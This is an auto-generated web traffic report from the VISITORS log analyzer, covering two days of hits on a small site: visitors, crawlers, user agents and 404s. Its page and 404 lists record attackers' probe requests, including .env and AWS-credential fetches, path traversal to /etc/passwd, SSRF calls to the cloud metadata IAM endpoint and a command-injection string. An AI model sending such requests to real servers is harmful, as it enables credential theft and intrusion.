| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |
| General information |
| Information about analyzed log files |
| Generated: Thu Aug 13 12:00:01 2026
|
| Number of entries processed 435 |
| Number of invalid entries 0 |
| Processing time in seconds 0 |
| |
| Generated reports |
| Click on the report name you want to see |
| Number of reports generated 24 |
| Unique visitors in each day |
| Unique visitors in each month |
| Unique visitors from Google in each day |
| Unique visitors from Google in each month |
| Pageviews per visit |
| Weekday-Hour combined map |
| Month-Day combined map |
| Requested pages |
| Requested images and CSS |
| Referers |
| Referers by first time |
| Robots and web spiders |
| User agents |
| Operating Systems |
| Browsers |
| 404 Errors |
| Domains |
| Googled pages |
| Adsensed pages |
| Google Keyphrases |
| Google Keyphrases by first time |
| Google Human Language |
| Weekday distribution |
| Hours distribution |
| |
| Unique visitors in each day |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 184 |
| Different days in logfile 2 |
| 12/Aug/2026 | 108 (58.7%) |
|
| 13/Aug/2026 | 76 (41.3%) |
|
| |
| Unique visitors in each month |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 184 |
| Different months in logfile 1 |
| Aug/2026 | 184 (100.0%) |
|
| |
| Unique visitors from Google in each day |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 184 |
| Number of unique visitors from google 0 |
| Different days in logfile 2 |
| 12/Aug/2026 | 0 (0.0%) |
|
| 13/Aug/2026 | 0 (0.0%) |
|
| |
| Unique visitors from Google in each month |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 184 |
| Number of unique visitors from google 0 |
| Different months in logfile 1 |
| Aug/2026 | 0 (0.0%) |
|
| |
| Weekday-Hour combined map |
| Brighter means higher level of hits |
| Hour with max traffic starting at We 11:00 with hits 16 |
| Hour with min traffic starting at Mo 00:00 with hits 0 |
| |
| Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
| |
| Month-Day combined map |
| Brighter means higher level of hits |
| Day with max traffic is Aug 12 with hits 109 |
| Day with min traffic is Aug 13 with hits 76 |
| |
| Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
| |
| Pageviews per visit |
| Number of pages requested per visit |
| Only documents are counted (not images). Reported ranges: 8 |
| 1 | 120 (72.3%) |
|
| 2 | 23 (13.9%) |
|
| 4 | 9 (5.4%) |
|
| 5 | 5 (3.0%) |
|
| 3 | 4 (2.4%) |
|
| 6 | 3 (1.8%) |
|
| 8 | 1 (0.6%) |
|
| 9 | 1 (0.6%) |
|
| |
| Requested pages |
| Page requests ordered by hits |
| Different pages requested 159 |
| 1) | 76 | / |
| 2) | 41 | /robots.txt |
| 3) | 39 | none |
| 4) | 23 | /sitemap.xml |
| 5) | 14 | /report.html |
| 6) | 13 | /ais/index.php |
| 7) | 12 | /dispatch.asp |
| 8) | 9 | /SDK/webLanguage |
| 9) | 4 | /.env |
| 10) | 4 | /.env.local |
| 11) | 4 | /wifi/index.htm |
| 12) | 3 | /.env.development |
| 13) | 3 | /app/.env |
| 14) | 3 | /img |
| 15) | 3 | /backend/.env |
| 16) | 3 | /api/.env |
| 17) | 2 | /actuator/env |
| 18) | 2 | /@fs/home/ec2-user/.aws/credentials?raw?? |
| 19) | 2 | /.env.staging |
| 20) | 2 | /.env.old |
| 21) | 2 | /admin/.env |
| 22) | 2 | /.env.production |
| 23) | 2 | /.git/HEAD |
| 24) | 2 | /.env.prod |
| 25) | 2 | /@fs/etc/passwd?raw?? |
| 26) | 2 | /@fs/root/.aws/credentials?raw?? |
| 27) | 2 | /.env.bak |
| 28) | 2 | /@fs/proc/self/environ?raw?? |
| 29) | 2 | /.env.backup |
| 30) | 2 | /geoserver/web/ |
| |
| Requested images and CSS |
| Images and CSS requests ordered by hits |
| Different images and CSS requested 1 |
| 1) | 17 | /favicon.ico |
| |
| Referers |
| Referers ordered by visits (google excluded) |
| Different referers 4 |
| 1) | 181 | none |
| 2) | 2 | http://151.45.140.79:80/cgi-bin/index2.asp |
| 3) | 1 | http://151.45.140.79:80/login.asp |
| 4) | 1 | http://iz7boj.dyndns.org/robots.txt |
| |
| Referers by first time |
| Referers ordered by first time date, newer on top (referers from google excluded) |
| Different referers 4 |
| 1) | 12/Aug/2026 | http://151.45.140.79:80/login.asp |
| 2) | 12/Aug/2026 | http://151.45.140.79:80/cgi-bin/index2.asp |
| 3) | 12/Aug/2026 | http://iz7boj.dyndns.org/robots.txt |
| 4) | 12/Aug/2026 | none |
| |
| Robots and web spiders |
| Agents requesting robots.txt. MSIECrawler excluded. |
| Total number of different robots 12 |
| 1) | 6 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 2) | 3 | Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compat... |
| 3) | 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.... |
| 4) | 1 | Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) |
| 5) | 1 | webotbot/0.1 (personal search index; +shop@cardboardlegacy.com) |
| 6) | 1 | Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9) |
| 7) | 1 | Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com) |
| 8) | 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 9) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
| 10) | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
| 11) | 1 | Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler) |
| 12) | 1 | Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot) |
| |
| User agents |
| The entire user agent string ordered by visits |
| Different agents 78 |
| 1) | 31 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
| 2) | 26 | - |
| 3) | 12 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bin... |
| 4) | 10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85... |
| 5) | 8 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 6) | 5 | Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info) |
| 7) | 3 | Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compat... |
| 8) | 2 | Go-http-client/1.1 |
| 9) | 2 | Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Vers... |
| 10) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 |
| 11) | 2 | Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks... |
| 12) | 2 | Mozilla/5.0 (compatible; Google-Extended/1.0; +http://www.google.com/bot.html) |
| 13) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com... |
| 14) | 2 | Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) |
| 15) | 2 | Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot) |
| 16) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbo... |
| 17) | 2 | Mozilla/5.0 |
| 18) | 2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.3... |
| 19) | 2 | Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler) |
| 20) | 2 | Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot) |
| 21) | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Sa... |
| 22) | 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.... |
| 23) | 2 | Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot) |
| 24) | 2 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.co... |
| 25) | 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0 |
| 26) | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.11... |
| 27) | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/... |
| 28) | 1 | Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) |
| 29) | 1 | Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/) |
| 30) | 1 | webotbot/0.1 (personal search index; +shop@cardboardlegacy.com) |
| |
| Operating Systems |
| Operating Systems by visits |
| Different operating systems listed 4 |
| Unknown | 132 (71.4%) |
|
| Windows | 26 (14.1%) |
|
| Linux | 18 (9.7%) |
|
| Macintosh | 9 (4.9%) |
|
| |
| Browsers |
| Browsers used by visits |
| Different browsers listed 6 |
| Safari | 91 (49.2%) |
|
| Unknown | 69 (37.3%) |
|
| Other Mozilla based | 14 (7.6%) |
|
| Firefox | 9 (4.9%) |
|
| Opera | 1 (0.5%) |
|
| GoogleBot | 1 (0.5%) |
|
| |
| 404 Errors |
| Requests for missing documents |
| Different missing documents requested 65 |
| 1) | 23 | /sitemap.xml |
| 2) | 12 | /dispatch.asp |
| 3) | 9 | /SDK/webLanguage |
| 4) | 4 | /wifi/index.htm |
| 5) | 3 | /img |
| 6) | 2 | /@fs/etc/passwd?raw?? |
| 7) | 2 | /actuator/env |
| 8) | 2 | /@fs/proc/self/environ?raw?? |
| 9) | 2 | /geoserver/web/ |
| 10) | 2 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname -a;cd /tmp || cd /var/run || cd /m... |
| 11) | 2 | /cgi-bin/index2.asp |
| 12) | 1 | /proc/self/environ |
| 13) | 1 | /login |
| 14) | 1 | /fetch?uri=http://169.254.169.254/latest/meta-data/iam/info |
| 15) | 1 | /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 16) | 1 | /assets../../../etc/passwd |
| 17) | 1 | /fetch?dest=http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 18) | 1 | /%77eb%75i_%77sma_Http |
| 19) | 1 | /fetch?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 20) | 1 | /fetch?url=http://169.254.169.254/latest/meta-data/ |
| 21) | 1 | /fetch?target=http://169.254.169.254/latest/meta-data/iam/info |
| 22) | 1 | /m.php?p= |
| 23) | 1 | /@fs/proc/self/environ |
| 24) | 1 | /cgi-bin/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/S2eS2e/bin/sh |
| 25) | 1 | /this_is_a_new_hello_world.php |
| 26) | 1 | /phpinfo/ |
| 27) | 1 | /api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 28) | 1 | /fetch?uri=http://169.254.169.254/latest/meta-data/ |
| 29) | 1 | /@fs/app/rootkey.csv?raw?? |
| 30) | 1 | /files../etc/passwd |
| |
| Domains |
| Top Level Domains sorted by visits |
| Total number of Top Level Domains 1 |
| numeric IP | 185 (100.0%) |
|
| |
| Googled pages |
| Pages accessed by the Google crawler, last access reported |
| Number of pages googled 1 |
| 1) | 12/Aug/2026 | /robots.txt |
| |
| Adsensed pages |
| Pages accessed by the Adsense crawler, last access reported |
| Number of pages adsensed 0 |
| |
| Google Keyphrases |
| Keyphrases used in google searches ordered by visits |
| Total number of keyphrases 0 |
| |
| Google Keyphrases by first time |
| Keyphrases ordered by first time date, newer on top |
| Different referers 0 |
| |
| Google Human Language |
| The 'hl' field in the query string of google searches |
| Different human languages 0 |
| |
| Weekdays distribution |
| Percentage of hits in every day of the week |
| Mo | 0 (0.0%) |
|
| Tu | 0 (0.0%) |
|
| We | 109 (58.9%) |
|
| Th | 76 (41.1%) |
|
| Fr | 0 (0.0%) |
|
| Sa | 0 (0.0%) |
|
| Su | 0 (0.0%) |
|
| |
| Hours distribution |
| Percentage of hits in every hour of the day |
| 00 | 5 (2.7%) |
|
| 01 | 8 (4.3%) |
|
| 02 | 9 (4.9%) |
|
| 03 | 7 (3.8%) |
|
| 04 | 13 (7.0%) |
|
| 05 | 5 (2.7%) |
|
| 06 | 8 (4.3%) |
|
| 07 | 4 (2.2%) |
|
| 08 | 4 (2.2%) |
|
| 09 | 3 (1.6%) |
|
| 10 | 20 (10.8%) |
|
| 11 | 19 (10.3%) |
|
| 12 | 10 (5.4%) |
|
| 13 | 10 (5.4%) |
|
| 14 | 4 (2.2%) |
|
| 15 | 4 (2.2%) |
|
| 16 | 0 (0.0%) |
|
| 17 | 3 (1.6%) |
|
| 18 | 14 (7.6%) |
|
| 19 | 4 (2.2%) |
|
| 20 | 4 (2.2%) |
|
| 21 | 8 (4.3%) |
|
| 22 | 11 (5.9%) |
|
| 23 | 8 (4.3%) |
|
| |
| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |